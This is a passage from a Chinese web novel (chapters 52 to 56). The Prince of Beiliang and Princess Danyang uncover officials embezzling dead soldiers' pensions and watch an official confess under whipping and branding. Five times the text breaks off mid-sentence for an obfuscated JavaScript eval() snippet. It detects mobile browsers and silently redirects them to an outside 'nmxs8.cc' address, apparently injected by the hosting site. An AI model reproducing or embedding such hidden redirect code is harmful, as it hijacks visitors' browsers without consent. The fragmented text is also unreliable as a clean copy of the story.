从马车的豪华和侍卫的规模上看,不用想一定是皇帝最喜欢的丹阳公主。 我的妈呀,丹阳公主竟亲自来了! 这些兵部的军士第一反应就是北凉王没骗他们,第二反应是他们刚才做对了,真要是听了朱将军的话与北凉王打起来,那真就酿成了杀头的大罪。 眼见丹阳公主的侍卫将他们围住,这些兵部军士纷纷跪倒在地。 有几个胆小的军士还不忘给自己开脱,喊道: “公主殿下不要误会,我们早就已经放下兵器了。” “是啊公主殿下,我们谁也没敢碰北凉王。” 随着这些兵部军士跪下,围观的那些百姓也跟着跪迎公主。 “呼啦啦”一片跪地声中,一下子就显出了几个人,其中就属沈凡最是显眼。 丹阳公主看到,面容清秀的沈凡穿着乌黑的貂皮大氅,身姿如松傲立于阳光下,眉宇间洋溢着初升朝阳般勃勃生机,又带着几分不羁。 墨色的长发用一根镶着红宝石的丝带束着,几缕碎发随风轻轻飘扬,更平添了几分洒脱与飘逸。 在往下看,沈凡脚下踩着一个五花大绑,嘴里塞着布的官吏,身前还押着一个穿着铠甲,弯着腰,长像孔武的武将。 若问这名武将为何弯着腰? 是因为被沈凡倒剪了双臂,从他痛苦的表情和嘴角的血迹看,应该是刚挨了顿揍。 一时间,竟把个丹阳公主给看痴了。 怎么回事,以前怎么没发现这小子这么好看? 啊不对,这怎么可能……按王广所说,沈凡身边只有三名护卫,兵部却是一下来了上百人情况危急吗? 再看沈凡身边确是站了三个护卫,还有一个十五六岁模样的孩子。 就这几个人,怎么把这些孔武彪悍的兵部军士给制服的,那名被擒的武将,应该还是个武艺高强的人。 别说是丹阳公主不信,就连张凤、王广和艳姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315758|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑也看愣了,同样想着这个问题。 而此时沈凡的心情那叫一个激动,这小娘们儿还真够意思,不但来快,还把侍卫也带来了。 “哎张公公,你还愣着干什么,帮我把这两个人押了呀!”沈凡冲着张凤喊道。 张凤这才回过神儿,一挥手道了句:“接管。” 丹阳公主的那些侍卫立刻一拥而上,有的将地上的兵器收缴起来,有的过来从沈凡手中接过朱淘利和刘利。 更多侍卫则抽出腰刀,站在那些跪在地上的兵部军士旁边警戒着,一看平日就训练有素。 “哎呀你们慢点,我的两条胳膊全被北凉王打脱臼了!” 疼得满脸是汗的朱淘利对押着他的两名侍卫道,然后就压着心里的恐慌,看向丹阳公主喊起了冤: “公主殿下,北凉王打着您的旗号,将臣打成了这样,您管还是不管?” “你是何人,怎么回事?”丹阳公主已是恢复了原有的威严,坐回马车里问道。 “臣名朱淘利,是兵部四品参将,是北凉王无故拘押我兵部官吏,臣得知后来救,不想却被他偷袭殴打,还请公主明察。” 听到这话,丹阳公主已然明白了沈凡是怎么制服的他,心里赞了句这小子还挺有勇有谋。 不过因这个朱淘利喊起了冤,在没有明确其有罪的情况下,自己此时还不能向着沈凡说话。 想到这,丹阳公主看向沈凡问道:“北凉王,你说说是怎么回事?” 看到对自己绷着小脸,嘴角却微微一动的丹阳公主,沈凡立马就明白她的用意。 就将自己在办差时,发现兵部官员延发病亡军士抚恤金,在询问刘利、马卫时他们故意狡辩,自己这才不得不抓了他们。 而这个朱淘利却带着兵部的军士前来抢人,为了留住证人才将其扣下的事说了一遍。 沈凡说完后,还指向那几十个病亡军士家属道:“这些都是人证。” 听到这话,以娄氏为首那些病亡军士的家属,都跪在丹阳公主车驾前,纷纷表示愿意给沈凡作证。 第五十二章:狗急跳墙没跳成 见有这么多的人响应沈凡,丹阳公主点了点头表示认可。 见到这般情景,朱淘利惊骇地看了看丹阳公主,又看了看旁边这个年轻的北凉王,心不由就是一沉。 这一刻他终于明白了,这个北凉王没有狐假虎威,丹阳公主确是他的后台。 眼见刘利是怎么也救不出来了,如今朱淘利满脑子想的只有一件事。 那就是趁着刘利还没有交代,赶紧脱身跑路。 想到这做出一副无辜的样子道:“殿下,臣的确不知道还有这么多隐情,是臣误会了北凉王,殿下尽管将刘利带走,还请殿下将臣放了。” 说完又看向沈凡道:“王爷,都怪我鲁莽,还请大人不记小人过,等我回去治了臂膀后一定登门致歉。” 可紧接着发生的事,让朱淘利的心彻底沉到了底。 就见沈凡走到丹阳公主身前,轻声说了几句话。 原本脸上没什么表情的丹阳公主听了后,顿时眼睛一瞪道:“当真?” 沈凡道:“无论真假,我觉得从这个他们两人身上应该能问出些什么,特别是这个朱淘利。” 丹阳公主点头道:“张凤,将朱淘利和刘利都带到大理寺,本宫要看看他们做了哪些不法之事?” “是。”张凤答应道,对着侍卫一挥手。 押着朱淘利和刘利侍卫就将他们往马上拽,刘利早就被吓傻了,闭着眼任其摆布,根本没任何反抗。 倒是朱淘利不知哪来的一股激劲,猛一甩头,在双臂脱臼的情况下竟挣脱了侍卫的束缚,大叫道: “公主殿下,你也不能无缘无故抓我,只有圣旨和兵部的军令才能动我。” 边叫的同时边冲向丹阳公主,他的想法很简单,就是绝不能去大理寺,也效仿沈凡来个擒贼擒王,然后在想法子脱身。 见脸上全是血的朱淘利张着大嘴,龇着一口焦黄的大牙扑将过来,丹阳公主顿时吓得魂不附体,一缩身躲在沈凡身后,还下意识推了沈凡一把。 猝不及防的沈凡被推了个趔趄,眼看就要与朱淘利撞个满怀,忙快速出脚,一个正蹬将其踹飞出去。 朱淘利“拍哒”一声摔在地上,又一个鲤鱼打挺弹起来,再扑向丹阳公主。 沈凡就要上前拿他,却发现自己的胳膊被丹阳公主紧紧抓住,还用力往回一拽,楞是把自己又拽了回去。 正这时,一条铁链忽然从眼前掠过,“哗啦啦”准确的套在朱淘利脖子上。 随着铁链被拽紧,朱淘利的身子再次离开了地面,“扑通”一声跌落在一丈远的地方。 沈凡这时才看清楚,铁链的另一头是被张凤这个老宦官拽着的,这让他暗自一惊。 看来自己估计的没错,从这一手就证明此人是个高手。 这时有几名侍卫也冲了过去,将朱淘利五花大绑的同时,对着这货就是一顿拳打脚踢,下手甚是凶狠。 想想也能理解,若是公主有什么闪失,他们这些做侍卫的一个都别想活。 “住手,别打了,再打就打**!”沈凡连忙喊道。 丹阳公主这时也反应过来,也忙道:“留活口。” 那些侍卫这才停手,怕朱淘利咬舌,在他嘴里塞上块布丢在马上。 沈凡看到,朱淘利虽伤得不轻,好在有铠甲保护还活着,这才松了口气。 忽觉手臂用些疼,背部却仿佛靠在软绵绵的靠枕上很舒服。 扭头一看,原来丹阳公主还在紧紧抓着自己,至于靠枕的感觉嘛,嗨嗨嗨…… 可这种美好的感觉只稍纵即逝,丹阳公主也发觉自己正抓着沈凡的胳膊,且胸都被挤变形了。 忽感全身一阵酥麻的丹阳公主忙松开手,往后退了一步,脸上腾起一片红晕。 你还不好意思了,刚才死道友不死贫道的劲儿呢……沈凡暗骂了句,装出关心的样子问:“公主您没事吧?” 说着,还故意将目光投在丹阳公主的胸口上。 丹阳公主又退了一步,下意识就要骂个滚字,可马上想到这一切都是自己造成的,只得红着脸道: “本宫没事,北凉王可有兴趣跟本宫一起去趟大理寺?” “当然愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315759|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。”沈凡笑嘻嘻回道。 看到沈凡嬉皮笑脸的样子,丹阳公主的脸更红了,可又拿他没办法,只好强板着脸道: “那就上车吧,有些事本宫还要问你。” “好。”沈凡应了声,双腿一点地跳上了那辆豪华的大马车。 丹阳公主是在艳姑姑的搀扶下上的车,临进车厢前对张凤吩咐道: “将这些兵部的军士也一并带往大理寺,待询问后再放回,本宫一定要给百姓一个交代。” 听到丹阳公主的话,兵部的那些军士谁也不敢说什么,毕竟朱将军都被打成猪头了。 排成两列,在丹阳公主侍卫的看护下往大理寺而去,同行的自然还有丁奉、徐盛和张峰三人。 眼见丹阳公主的车驾离开,围观的那些百姓这才纷纷站起身,都称赞沈凡是个好王爷,丹阳公主是个好公主。 一些胆大些的百姓,还冲着远去的远去的车驾施礼喊道: “多谢公主殿下,多谢王爷!” “公主殿下千岁,北凉王千岁!” 其中就有那个娄氏,此时她虽然依旧还是破衣烂衫,但精气神明显与刚才不同,整个人就像重新活过来一般。 怀里的那个女娃也不再畏畏缩缩,啃着沈凡给的桂花糕,长着冻疮的小脸儿上也有了笑意。 …… 马车上,丹阳公主听着车外渐行渐远的赞美声,心中涌起一阵莫名的自豪感,甚是痛快! 转念一想,就明白了这里的缘由。 记得小时候父皇曾跟自己说过,百姓对你顶礼膜拜,很多时候都是出于礼节和敬畏。 只有百姓发自内心对你赞扬时,才证明你得到了百姓的真正拥戴。 以前自己对这话不太理解,直到今日看到这般情景,才明白了父皇话里的含义。 可转念又一想,百姓这些话其实更多是喊给沈凡的,自己不过是借了这小子的光,被百姓捎带爱戴了一下而已。 想到这,刚才还对沈凡很赞赏的这位公主殿下,莫名就生起了几分妒意,看向对面的沈凡…… 第五十三章:艳姑姑 丹阳公主看到,坐在自己对面的沈凡此时将双手交插在胸前,脸上带着和善的笑意,一副没心没肺的样子。 这让丹阳公主觉得自己受到了怠慢,狠狠瞪了这货一眼。 本以为沈凡会有所察觉,怎么也得害怕一下,没曾想这货依旧没反应。 这是视本宫为无物啊! 丹阳公主刚要发火,却猛然发现了一个现象。 那就是沈凡根本就没看自己,而是一直在看着身边的艳姑姑,连脸上的笑意也是对她表露出来的。 再看艳姑姑,同样将两条手臂交叉于胸前,不过脸上没有笑意,凝视沈凡的眼神里带着几分警惕。 “沈凡,你在看什么?”丹阳公主道。 沈凡愣了下,像刚回过神般道:“自打上车后这位姐姐就一直凝视我,看得我心里没底,故报以善意的微笑。” 丹阳公主被这话逗得一乐,那股的妒意也去了爪哇国,问道:“你们见过?” 沈凡摇摇头:“没见过,不过这位姐姐给我带来的感觉却似曾相识。 今天我出了王府后,就有过一次这样的感觉,刚才上了马车这种感觉又回来了。” 不待丹阳公主说话,艳姑姑现出惊愕的神情道:“你的感觉会这么好?” “我去!”沈凡猛然醒悟,轻呼一声道:“我怎么觉得感觉这么熟呢,原来是你一直在跟踪我。” 沈凡说着话是有根据的,出王府时虽然有不少大姑娘小媳妇和老妇看自己,但当时还是有种被监视的感觉,只不过一直没发现这个人。 刚才这位姐姐上车后看了自己一眼,自己就立刻有了那种被监视的感觉,这才用审视的眼神一直看着她,没想到竟把她诈出来了。 丹阳公主和艳姑姑对视一眼,从对方眼里都看到了惊愕。 她们都没想到,沈凡竟凭着感觉就能发现有人跟踪他,还一下就锁定了目标。 见她们对视了一眼,沈凡立刻明白了什么,看向丹阳公主道:“是你让她跟着我的对不对?” 丹阳公主俏脸一白,眼神明显一虚,也不回沈凡的话,问艳姑姑:“你是不是露了什么马脚?” “怎么可能?”艳姑姑说了句看向沈凡道:“你是不是早就发现我了?” 沈凡道:“那倒没有,只是感觉到有人在监视我,直到你刚才问我感觉怎么会那么好,才确定你就是监视我的人。” 听到这话的艳姑姑明显松了口气,很是委屈的看向丹阳公主。 就见丹阳公主给了自己一个安心的眼神,然后板着脸看向沈凡道:“你吼什么吼,你应该感谢本宫。” 沈凡没想到,这小娘们儿派人监视自己还这么理直气壮,还要自己感谢她,不过很好奇她的理由,问道:“什么意思?” “嗯~”丹阳公主调整了一下情绪,改用一种上司对下属说话的口气道: “其实在王广给我报信前,她就已经给我提前报信了,不然本宫怎么会亲自前来,还快速集合了这么多禁卫。 再说让她盯着你,是本宫怕你第一次当差有干不好的地方,不是什么监视,完全是上峰对下属的一种关爱。” 丹阳公主说这话绝对是违心的,派艳姑姑暗中跟着沈凡关爱的成分极少,多是一种想看沈凡第一次办差时出了什么糗? 然后自己再用这些事收拾沈凡,已报上次这小子跳了自己车的仇。 只是没想到,这小子第一次办差就替自己发现了这么多事。 我信你个鬼……以你这小娘们儿的性格八成是监视我,没准还希望我办差时出点儿差错,然后你好开心…… 沈凡心里这么想,嘴上可没这么说。 毕竟这小娘们儿此举无意中帮了自己,刚才在张硕家时也坚定的站在了自己这边,算是自己的贵人。 于是,沈凡现出笑容对丹阳公主拱手道:“原来是这样,那就多谢公主殿下关怀了。” 说完又对艳姑姑拱拱手道:“也谢这位姐姐。” 艳姑姑笑而不语。 一旁的丹阳公主道:“你不能跟她叫姐姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315760|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要叫艳姑姑。” 沈凡纳闷的道:“什么意思,我看她的年龄也不大,最多也就二十五六岁。” 沈凡说这话是有道理的,眼前这位宫女就是身材有些发福,坐在那能看到隆起小腹的那种。 可长相却不老,还生得张娃娃脸,看起来也就二十多岁。 艳姑姑听了沈凡的话后,别提有多开心了,继续笑而不语。 丹阳公主道:“你懂什么,别看艳姑姑今年只有二十五,可在本宫十岁时就陪着本宫了。 也是公主府权力最大的女官,本宫自小就叫她姑姑,你叫姐姐不差辈份了么?” “原来是这样。”沈凡不敢怠慢,对着艳姑姑再次施礼道:“那就见过艳姑姑了。” 艳姑姑连忙还礼道:“王爷不要客气,奴婢也是借着公主殿下的光托的大。” 这时沈凡才发现,这位艳姑姑欠身还礼时,小肚腩一下子就消失了。 尽收眼底的是个硕大离谱的屁股,仿佛小肚腩上的肉一下子都到了那里。 身材不错……沈凡在心里腹诽了句。 见沈凡‘误会’自己的事已经解除了,丹阳公主办起了正事。 让沈凡把怀疑西北没有下雪,还有王灵瑶、郑天泽用兵过狠的事详细说一说。 刚才沈凡对自己耳语的就是这两件事,在丹阳公主看来,这两件事比兵部可能**病亡军士抚恤银要大得多。 特别是西北没有下雪的事,极可能涉及到西北道冒赈,若属实那可是建国以来少有的**大案。 关于王灵瑶和郑天泽用兵过狠的事,沈凡并没多说什么。 因为从张硕信里的内容,还有那些病亡军士家属的口供就可以确定,情况基本属实。 何况丹阳公主办事力度极大,已经派人去京城其他病亡军士家属那里取证了。 可关于西北道底下没下雪沈凡却没底,毕竟自己没实地看过。 将张硕的家信给丹阳公主看了,告诉她这只是自己的猜测,还需要确凿的证据。 第五十四章:鼎力相助 沈凡看到,丹阳公主看了张硕的家信后嘴唇抿得紧紧得,鼻翼呼呼出气道: “不需要证据,别忘了我就兼着户部尚书。 记得十一月初时,西北道刺史周康上折子说雪大成灾,西北军中和百姓都深受其害。 父皇和太子让户部拨下一百万两银子,一半用于西北军中将士御寒,另一半为房屋倒塌的百姓修建避寒之所,给他们提供衣食。” 沈凡吃惊的道:“那可是一百万两银子,仅凭一个刺史恐难以吞下,应该是上下其手,这些官员的胆子也太大了!” 丹阳公主点点头道:“说的没错,西北道的官员从上到下应该是烂得差不多了。” 沈凡道:“这事牵扯太大,为了万全计要派人查证才好。 我想先把朱淘利、刘利和马卫审了,除了查有无**病亡将士抚恤金的事外,看看他们知道这件事不,你看如何?” 丹阳公主道:“说的对,不管审问的结果如何我都会即可进宫,将这件事直接禀告父皇,让父皇即可派钦差去西北。” 沈凡点头表示认可,眉宇间透露着凝重的神情道:“为了那些衣不遮体,食不果腹的军属,一定要揪出这些蛀虫。” 看到沈凡忧国忧民的样子,丹阳公主忽然有种找到知己的感觉,心中不知为何又多了几分底气。 而沈凡对这小娘们儿的表现也很满意,找到了一个与自己的共同点——正义感。 侍卫们簇拥着丹阳公主的车驾穿街过巷,不到小半个时辰已是抵达大理寺。 沈凡跳下车,就看到了一座高大的门楼和两座威武的石狮子。 大理寺沈凡从没来过,可熟知律法的他对其职责并不陌生。 这里是审理全国案件的司法衙门,特别是对违法官吏案件的督办,与刑部、都察院并称为“三法司。 按大夏律,在案件审理时应先由刑部进行详细审查,再送交都察院核查,最后才交大理寺做最后的裁决。 可这次却不同,丹阳公主直接越过了刑部和都察院就到了这里,足以说明这小娘们对此事的重视与极大的权力。 大理寺的最高官员为大理寺卿,位九卿之列,在听闻丹阳公主驾到后立刻出来相迎。 “臣,岳针江月参见丹阳公主殿下。” 丹阳公主现出几分笑意道:“岳大人免礼,本宫给你介绍一下,这位是新晋北凉王沈凡,如今在户部兼任主事。” 岳振江打量了眼沈凡,拱手施礼道:“参见北凉王。” 沈凡还礼道:“岳大人不必客气,您认识我?” 岳振江道:“下官没见过王爷,不过王爷继承北凉王的邸报下官已经看过了。” 看着这个脸盘稍大,蓄着短胡,眼中透着精明的中年人,沈凡再次拱手道: “岳大人不要自称下官,我现在只是公主殿下手下的一名七品主事,论官阶您在我之上。” 岳振江笑道:“那我就自称为臣吧,不过看北凉王风华年少,就算现在厚积薄发,日后前程也定不可限量,特别是王爷如今在公主殿下麾下当差。 回想三年前,臣只是户部一名五品堂官,若无公主提携,如今也做不得这大理寺卿。” 话不多意思却不少,一下就显出了岳振江的老诚事故,也让沈凡明白了话里的含义。 一是在表明他是丹阳公主的人,二是用这话向自己示好。 沈凡年纪不大,可在很早的时候父王就跟自己说过官场的隐事。 孟子说‘君为轻,社稷次之,民为重’只能言说,真正的顺序应是皇权至上。 各级官员的主要职责是维护皇权,然后才是民生疾苦。 在这个前提下,官场上就生出了很多礼数,包括着装、言行等,还有暗箱操作、互相攀比、利益交换、裙带关系这些。 这就是千年来官场的真面目,不可逆行,行事不可任心,说话不可认口。 只是沈凡现在还记得,父王当时说这些话时明显是违心的。 所以再三告诫自己,只要心中始终装着民,就算被迫和光同尘也无不可,这也是安身立命的上策。 在沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315761|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡的理解就是见人说人话,见鬼说鬼话,何况自己对丹阳公主的为人还是认可的,她用的人因该也大差不差。 故此沈凡用十分低调的姿态道:“岳大人过奖,我毕竟还年轻,以后还望岳大人多多指点。” 岳振江很高兴,他探出了这个年轻的王爷不是什么浮夸之徒,在年轻的外表下有老诚的一面,值得巴结。 笑对沈凡拱手道:“哪里哪里,以后还请北凉王多加关照。” 说完这才看向被押着的朱陶利和刘利,还有那些低着头的兵部军士问丹阳公主: “殿下,有什么事需要臣做的请吩咐。” 长公主没有直接答他的话,而是反问道:“那个叫马卫的兵部七品主事在你这里了吧?” 岳振江道:“人已经押在了牢里,不过臣没有审问,一切等殿下明示。” 丹阳公主对岳振江的谨慎很满意,说道:“本宫带来的这些人涉及到了贪腐,所以都要审,其中详情让北凉王与你说吧。” 说着迈步就往大理寺里走,脑袋扬得高高的,衣裙飘舞间尽显皇家高贵。 看着丹阳公主像只高傲的孔雀,沈凡暗道。 这小娘们儿架子端得真高,还真把自己当成小跟班了,不过话还是要听的,这事除了她就自己能说的清。 于是,就在陪着丹阳公主往大理寺内走的同时,沈凡将朱淘利他们的事对岳振江说了。 岳振江听后,当即令衙役将人都押进牢里。 几人到了大理寺内堂外,丁奉、徐盛和张峰没资格伴驾,被沈凡安排与宦官张凤在一起。 内堂里岳振江亲自给丹阳公主和沈凡上了茶,还让人端来小点心,忙活了一阵才对丹阳公主道: “殿下既然要等结果,就请在这里歇息,臣这就去亲自审理。” 丹阳公主点头,让艳姑姑取来棋盘,对沈凡道:“过来陪本宫下盘棋,等岳大人的结果。” 下棋有什么意思,真把我当你小跟班了……沈凡暗自腹诽,看向丹阳公主道:“我也要去审犯人。” 第五十五章:蛆虫是何物 丹阳公主没想到沈凡要去审犯人,问道:“你去干什么,让岳大人去就行了。” 岳振江也道:“是啊王爷,您陪公主殿下,审犯人的事交给臣就行。” 不想沈凡却道:“我没见过审犯人,想跟岳大人学学。” 丹阳公主不高兴了,噘着嘴道:“审犯人有什么好学的?” 沈凡顺口道:“你不懂男人。” “你说本宫不懂男……”丹阳公主说到这脸一红,感觉被沈凡这小子绕进去了,绷着脸道:“解释。” 沈凡道:“男人都喜欢新奇和刺激,所以我对审犯人很好奇。” 真不知道这些的丹阳公主看向岳振江问道:“是么?” 岳振江笑着道:“北凉王说的是,男人就是这样。” 丹阳公主顿时来了兴致,起身道:“那本宫也去。” “殿下不可。”岳振江忙阻拦道。 “为何?”丹阳公主不解的问。 岳振江道:“那牢里脏乱的很,不是您这般金枝玉叶去的地方。” “本宫不嫌。” “那也不可,犯人身上都是污秽,有的还生有蛆虫。” “蛆虫是何物?” “这……” 岳振江反应过来了,从小锦衣玉食的公主怎么会知道蛆虫是什么,想解释又怕亵渎了公主,卡住了。 沈凡可不想错过恶心这小娘们儿的机会,说道: “蛆虫身体细长,半寸大小,颜色淡黄,上面还沾着粘液,喜欢在臭烘烘粪便里,在污秽的人身上爬。 不对,应该说是蠕动,还是一团一团的。” 说到这时,沈凡还做出恶心的样子,手在身前做蠕动状道:“还有,忘了说它们长成后就是苍蝇。” “哦~那我不去了,你们去吧,你们去吧!” 丹阳公主差点儿没把早膳吐出来,她终于明白蛆虫是什么了,因为沈凡描述得太直观,太形象了。 沈凡眨了眨眼,不知为何心中升起一阵不忍,自己说得是不是太狠了? 辞别丹阳公主,跟着岳振江出了内堂,直奔位于后院的牢房。 路上,岳振江一直暗中回想着刚才的事。 丹阳公主的脾气他是了解的,说一不二,看殿下的样子应该是生气了。 可北凉王不但不惧,反而还借机用蛆虫恶心了殿下,给人感觉看就像在捉弄对方的小两口儿。 这让岳振江隐约感觉到,这位北凉王和丹阳公主绝不是隶属关系那么简单,看来要好好巴结。 与此同时,内堂里。 丹阳公主每次往棋盘上按下棋子时声音都很响,眉宇间隐藏着一股怨火。 “殿下,您是不是生北凉王的气了?”艳姑姑小心翼翼的问道。 “就他,还不配让本宫生气。”丹阳公主没好气的道:“对了,他说的那个蛆虫是真的么?” 艳姑姑的圆脸上现出厌恶之色:“是真的,奴婢见过,这个北凉王也是的,怎么能跟您说这些。” “哦~哦~别说了赶快落子~”丹阳公主捂着嘴道。 “哦。”艳姑姑重重点了下头,不敢再说话,生怕得罪了这位喜怒无常的小主子。 …… 这是沈凡活这么大第一次来牢房。 高墙环绕的大院里,犯人被关押在一个又一个不见天日的小黑屋内,光线阴暗,环境恶劣。 倒是兵部的那些军士还好,因只是协助调查,他们被集中在院子里,被一群身穿黑色官袍,头戴乌纱的狱吏分批询问着。 走过这些人身边时,岳振江小声道:“王爷,以臣的经验这些军士八成是奉命而为,应该不知道什么,我们要把精力用在朱陶利、刘利和马卫身上。” 沈凡问道:“以岳大人的经验,我们应该先审哪个?” 岳振江笑了笑道:“公主在急着等消息,没时间一个个审,我们只管审朱陶利即可,用刑是让他招供最快的法子。 至于刘马二人,臣观他们就是对贪生怕死之徒,已经安排两名堂官去审了,相信很快就会有结果。” 面对岳振江的这份自信,沈凡有些不太信,可自己没审案经验,只能秉着学习的态度观望。 就见岳振江把自己带到了一座地牢前,衙役将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315762|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门打开的一瞬,沈凡差点儿被混着潮湿腐臭的气味熏个跟头,不过心里却是一阵慰藉。 虽然没看到犯人身上有蛆,可就冲这股味,自己把丹阳公主吓退是做对了。 岳振江引着沈凡往地牢里边走边道:“王爷,这里就是大理寺的刑房。” 话音未落,沈凡就听身后传来脚步声。 有两名官吏在几名衙役的陪伴下向这边快步而来,其中一名官吏举着一份宗卷道:“岳大人留步,审完了。” 岳振江停下身形,接过宗卷,借着地牢墙壁上昏暗的油灯看了后,笑着递给沈凡道:“王爷请看,这不就出来了吗?” 沈凡展开一一接过看去,脸上现出惊讶之色,看来真是专属有专攻,这个岳振江有两下子。 两份供状的内容大同小异,刘利和马卫招供了他们**病亡军士抚恤金的事,幕后黑手就是那个五品将军朱淘利。 看完供词后,沈凡十分气愤与惊鄂。 气愤的是,在京地区阵亡将士的人数可不少,足有四千五百余人。 他们三人贪了至少一多半,按四千五百人每人九两银子算,也有四万多两。 据刘马二人供词里说,分赃比例是他们每人得了一万两,其余的都进了朱淘利的腰包,约两万多。 难怪朱淘利敢调兵抢人,要不是自己突袭拿了他,他们就畏罪逃了。 惊鄂的是,没想到病亡的将士会有这么多? 这里有多少是因为西北道供药不力造成的,又有多少是王灵瑶和郑天泽用兵过狠的原因? 沈凡问审讯刘利和马卫的官吏:“他们就交代了这些么,还有没有其它罪行?” 官吏道:“有些的。” “是什么?”沈凡闪着光问。 官吏:“都是些以前克扣军饷,虚报迎来送请的账目,我们见事不大,就没往里面写。” 沈凡有些失望,可转念一想刘马两人只是七品小吏,就算朱淘利参与了西北的贪腐也不会带上他们,对岳振江道: “公主最关心的是朱淘利是否知道西北下没下雪,还有西北道供药这两件事。” 第五十六章:酷吏 身为大理寺卿,岳振江自然明白沈凡的意思,知道这不是贪腐阵亡军士抚恤银的个案,感到自己立功的机会就要来了,当即道: “明白,王爷随我来,我们马上审朱淘利。” 有狱卒打开一扇的铁门,沈凡来到了地牢深处。 铁门“吱呀”一声关闭,将外面微弱的光线彻底隔绝,只剩石壁上挂着的油灯,在通风口吹来的微风下闪着忽明忽暗的光。 阵阵凄厉的惨叫声从牢房里传来,沈凡一下就听出来了,是朱陶利发出来的,看向岳振江问道: “岳大人,您不是说要亲自审他吗,怎么现在就动刑了?” 昏暗的光线下,岳振江呲着白牙笑道:“臣要亲审的,不过王爷总不能让臣是亲自动手吧,让人先给他些开胃菜也是这里的规矩。” 不知为何,沈凡听到这话后忽感汗**一立。 终于明白了什么叫司法的冰冷,与法典上说的‘哀敬折狱’根本就不挨边。 对一个五品将军尚且如此,如果换了平头百姓会怎样…… 跟着岳振江走进行刑室,就见朱淘利被扒得只剩中衣,吊在牢房顶部的一个铁环上,看样子肩膀的脱臼已经被接上了。 一名长相丑陋的狱卒,正将皮鞭往一个陶盆里涮。 从陶盆边缘泛起的一层白花花印记看,沈凡立刻就反应了过来,是盐水。 随即这名狱卒将鞭子在头顶甩出一个鞭花,瞬间就抽在朱陶利的背上。 在一阵沉闷又揪心的入肉声中,朱淘利白色的里衣上立时现出一道血痕,再次发出一阵惨叫。 岳振江对这惨叫声充耳不闻,来到做记录的狱卒身边,边翻看审讯记录边问:“怎么是空白的?” “回大人,这人挺能扛。”狱卒回道。 岳振江将审讯记录往桌案上一摔,回身对抡鞭子的那个狱卒道:“闪开!” 那狱卒心有不甘地收起鞭子,毕恭毕敬站到一旁。 岳振江背着手来到朱淘利身前,忽然抬手板起他的下巴,恶狠狠的道:“你说还是不说?” 几乎昏厥的朱淘利半张着嘴巴道:“这位大、大人,我不知道说什么。” 岳振江笑了笑,反手从一旁的炉子里抽出烧红的烙铁,没有一点儿犹豫就按在了朱淘利的胸口上。 “啊……” 伴着一股烤肉味的青烟冒起,朱淘利的惨叫声响彻地牢。 岳振江将烙铁扔回炉内道:“实话告诉你,刘利和马卫已经招了,你们一共贪了四万多两银子,分到你手里的有两万多两。 你若是现在招了,本官还可以让你少遭点儿罪。” “什么?”朱淘利眼中现出惊恐。 眼见岳振江又将烧红的烙铁拿了起来,知道一切都完了,再扛着也没用,忙道:“别烙了别烙了,我招我招!” 一旁,看到这情景的沈凡心生怨意。 这个岳振江怎么这样? 刚才把刘利和马卫的事说了就是了,怎么还要烙一下,难道这是大理寺审问的一种手段? “这就对了嘛。”岳振江看向那个记录的狱卒道:“记录。” 随着朱淘利的招供,沈凡发现他的供词与刘利和马卫的供词完全契合。 狱卒将供词记录在案后,拿给岳振江。 